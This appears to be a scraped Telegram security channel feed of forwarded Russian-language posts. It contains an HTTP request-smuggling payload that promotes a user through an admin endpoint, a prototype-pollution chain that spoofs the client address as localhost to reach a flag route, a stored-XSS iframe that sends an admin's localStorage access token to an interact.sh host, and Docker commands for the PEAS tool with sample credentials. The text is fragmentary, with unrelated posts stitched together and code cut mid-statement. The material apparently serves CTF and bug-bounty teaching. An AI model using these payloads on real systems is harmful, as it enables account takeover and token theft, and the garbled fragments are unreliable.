FA @failauth
POST / HTTP/1.1
Host: smuggle.lab
Content-Length: 58
Transfer-Encoding: chunked
0
POST /admin.php?promote_uid=7 HTTP/1.1
X-Something:
GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
POST /admin.php?promote_uid=7 HTTP/1.1
X-Ignore: GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
Forwarded from Path Secure (CuriV)
Forwarded from Пингискок
Forwarded from Пингискок
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (
remoteAddress === '127.0.0.1' ||
remoteAddress === '::1' ||
remoteAddress === '::ffff:127.0.0.1'
)await Note.findByIdAndUpdate(noteId, req.body);
POST /update
{
"noteId": {
"$ne": null
}
}
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__.test"
}
}
obj.prop
__proto__.something = value
__proto__.remoteAddress
__proto__.ip
__proto__.connection.remoteAddress
__proto__.socket.remoteAddress
__proto__._peername.address
__proto__._peername.address
POST /update
{
"title": "::ffff:127.0.0.1",
"content": "x"
}
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__._peername.address"
}
}
Object.prototype._peername.address = "::ffff:127.0.0.1"
req.connection.remoteAddress
::ffff:127.0.0.1
Forwarded from ИнфоБес #Aнализ безопасности #Тестирование на проникновение
Про вашу инфраструктуру уже кое-что знают.
Возможно, больше, чем вы.
5 марта в 16.00 на вебинаре мой коллега из ПК "РАД КОП" покажет, как безопаснику самому собрать картину своей внешней поверхности атаки — быстро и без иллюзий.
➡️Что можно узнать о себе из открытых источников?
➡️Как это делают злоумышленники?
➡️И как начать делать это первыми?
⬇️ Подробности — в посте РАД КОП ниже
<h1>Test</h1> <!-- изменение размера шрифта -->
<img src="x"> <!-- битая картинка -->
<input> <!-- лишний input на странице -->
<iframe src="javascript:alert(localStorage.accessToken)"></iframe>
<iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe>🔴Инъекция сохраняется в БД (Stored)
🔴Отрабатывает на стороне администратора
🔴Через XSS читается accessToken из localStorage
🔴Захват токена администратора
🔴Возможность делать запросы от его имени
🔴Потенциальный full access к admin-панели
🔴 Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа)
🔴 Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React
🔴Тестируйте на img, input, iframe, svg, math, script и template
🔴 Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location
🔴 Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости
— публичные bug bounty-программы;
— внутренние bug bounty;
— любые независимые исследования;
— пентесты по договорам.
— Создание реестра сертифицированных исследователей;
— Идентификация и аккредитация всех white-hat'ов;
— Жёсткие правила обработки и передачи уязвимостей;
— Обязательное уведомление не только владельца ресурса, но и силовые ведомства;
— Работа вне аккредитованных площадок — под запретом.
— Реестр = деанонимизация → угроза для безопасности исследователей.
— Падение числа участников bug bounty.
— Псевдонимы — не про “анонимность”, а про риски.
git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate
FROM python:2.7-slim
RUN sed -i 's|deb.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
apt update && \
apt install -y git build-essential libxml2-dev libxslt1-dev libffi-dev libssl-dev
RUN git clone https://github.com/snovvcrash/peas /opt/peas
WORKDIR /opt/peas
RUN pip install -r requirements.txt
ENTRYPOINT ["python", "-m", "peas"]
sudo docker build -t peas-py2 .
sudo docker run --rm --net=host -v "$PWD/peas-out":/opt/peas/out peas-py2 -u 'DOMEN\test' -p 'Password123' example.com --list-unc='\\DC-name\' --check